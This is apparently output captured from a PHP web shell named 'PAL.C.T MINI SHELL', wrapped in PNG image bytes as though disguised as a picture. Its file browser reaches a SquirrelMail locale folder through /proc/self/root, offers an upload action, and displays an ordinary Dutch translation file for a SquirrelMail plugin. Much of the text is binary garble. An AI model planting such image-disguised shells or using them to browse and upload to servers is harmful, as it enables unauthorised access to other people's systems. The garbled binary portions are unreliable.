php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/nl_NL/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/nl_NL/LC_MESSAGES/mini.po

# Dutch (nl_NL) mini Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
# $Id: mini.pot 11689 2006-09-10 09:52:24Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: mini\n"
"Report-Msgid-Bugs-To: Tomas Kuliavas <tokul@users.sourceforge.net>\n"
"POT-Creation-Date: 2006-09-10 01:05+0200\n"
"PO-Revision-Date: 2007-04-02 22:25+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Dutch <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Generator: KBabel 1.11.4\n"

#: functions.php:34
msgid "mini window"
msgstr "minivenster"

#: functions.php:49 mini.php:85 mini.php:96
msgid "Mini SquirrelMail"
msgstr "Mini-SquirrelMail"

#: functions.php:53
msgid "Window width (in pixels)"
msgstr "Vensterbreedte (in pixels)"

#: functions.php:60
msgid "Window height (in pixels)"
msgstr "Vensterhoogte (in pixels)"

#: functions.php:67
msgid "never"
msgstr "nooit"

#: functions.php:70
#, php-format
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s seconde"
msgstr[1] "   seconden        %s"

#: functions.php:73
#, php-format
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s minuut"
msgstr[1] "   minuten       %s"

#: functions.php:79
msgid "Window refresh time"
msgstr "Ververstijd venster"

#: functions.php:87
msgid "Window text size"
msgstr "Tekstgrootte venster"

#: functions.php:90
msgid "Very small"
msgstr "Zeer klein"

#: functions.php:91
msgid "Small"
msgstr "Klein"

#: functions.php:92
msgid "Normal"
msgstr "Normaal"

#: functions.php:162
msgid ""
"This message has additional parts. Please use the main SquirrelMail "
"interface to open them"
msgstr "Dit bericht bevat aanvullende onderdelen. Gebruik de normale SquirrelMail-interface om ze te openen."

#: functions.php:166 functions.php:178
msgid ""
"Could not find a text part. Please use the main SquirrelMail window to read "
"this message"
msgstr "Kon geen tekstgedeelte vinden. Gebruik het algemene SquirrelMail-venster om dit bericht te lezen."

#: functions.php:302 mini.php:123
msgid "No subject"
msgstr "Geen onderwerp"

#: functions.php:314 functions.php:315 mini.php:130
msgid "No sender"
msgstr "Geen afzender"

#: mini.php:75 mini.php:139
msgid "Back"
msgstr "Terug"

#: mini.php:78
msgid "Refresh"
msgstr "Verversen"

#: mini.php:133 mini.php:174
msgid "Subject"
msgstr "Onderwerp"

#: mini.php:134 mini.php:176
msgid "From"
msgstr "Van"

#: mini.php:141
msgid "Keep as new"
msgstr "Als nieuw behouden"

#: mini.php:148
msgid "Folder"
msgstr "Map"

#: mini.php:150
msgid "New Mail"
msgstr "Nieuwe e-mail"

#: mini.php:160
msgid "INBOX"
msgstr "Postvak in"

#: mini.php:193
msgid "No New Messages"
msgstr "Geen nieuwe berichten"

#: mini.php:209
msgid "Close"
msgstr "Sluiten"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`